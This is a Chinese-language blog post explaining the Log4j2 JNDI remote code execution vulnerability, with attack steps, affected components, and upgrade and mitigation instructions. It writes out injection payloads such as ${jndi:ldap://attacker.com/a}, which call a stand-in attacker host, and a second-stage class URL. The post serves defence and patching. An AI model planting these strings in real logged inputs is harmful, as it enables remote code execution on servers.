概述
- 漏洞描述
使用Apache Log4j2 记录日志的时候,会使用这样的格式logger.info("params: {}", params);,进行组装,log4j2 底层在进行组装的时候,如果发现传入的 params 当中含有${} 字符串的话会进行替换的时候会执行 lookup 的操作,所谓的 lookup 的操作就是允许通过 JNDI检索变量。
通过 JNDI 注入漏洞,黑客可以恶意构造特殊数据请求包,触发此漏洞,从而成功利用此漏洞可以在目标服务器上执行任意代码,想想就很恐怖!也就是说当 params 中的参数包含一些特定的字符的时候,就会触发这个漏洞,这种字符数格式比如:${jndi:ldap://xxxxxx},${jndi:rmi://xxxxxx} 其中xxxxxx 表示黑客的服务地址。
黑客通过构造这样的字符串来访问目标网站,只要程序通过 log4j2 将日志进行记录,不管是什么级别,就会将 log4j2 的 lookup 功能触发,然后就会通过 RMI 访问黑客的服务地址,黑客通过这个服务输出一个 class 字节码文件,这个字节码文件里面可以执行任何内容,相当于把这个服务器都交给黑客了,后果可想而知!
- 攻击原理
- 攻击步骤
- 攻击者向漏洞服务器发起攻击请求。
- 服务器通过Log4j2记录攻击请求中包含的基于JNDI和LDAP的恶意负载${jndi:ldap://attacker.com/a},attacker.com是攻击者控制的地址。
- 记录的恶意负载被触发,服务器通过JNDI向attacker.com请求。
- attacker.com就可以在响应中添加一些恶意的可执行脚本,注入到服务器进程中,例如可执行的字节码http://second-stage.attacker.com/Exploit.class。
- 攻击者执行恶意脚本。
- 受影响版本和已知组件
受影响版本: Apache Log4j 2.x <= 2.14.1
可能受影响组件:
- Spring-Boot-strater-log4j2
- Apache Struts2
- Apache Solr
- Apache Flink
- Apache Druid
- ElasticSearch
- flume
- dubbo
- Redis
- logstash
- kafka
- 解决方案
将 Apache Log4j2 的所有相关应用程序升级至最新的 Log4j-2.15.0-rc2 版本,同时升级已知受影响的应用程序和组件,如 srping-boot-strater-log4j2、Apache Solr、Apache Flink、Apache Druid。
- 搜索依赖
可以先在pom直接搜索或者直接在pom目录使用mvn dependency:tree>tree.txt命令进行导出依赖树结构,进行检索log4j*.jar包依赖
- 将log4j的依赖进行升级
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.15.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.15.0</version>
</dependency>
- 将其他jar包依赖下的log4j进行排除依赖
<exclusions>
<exclusion>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
</exclusion>
<exclusion>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
</exclusion>
</exclusions>
- 临时解决方案
若暂时无法升级,可先用以下方法进行临时缓解:
(1) 修改jvm参数 -Dlog4j2.formatMsgNoLookups=true
(2) 修改配置log4j2.formatMsgNoLookups=True
(3) 将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true
最后
以上就是干净棒棒糖为你收集整理的Apache Log4j2 远程代码执行漏洞修复的全部内容,希望文章能够帮你解决Apache Log4j2 远程代码执行漏洞修复所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复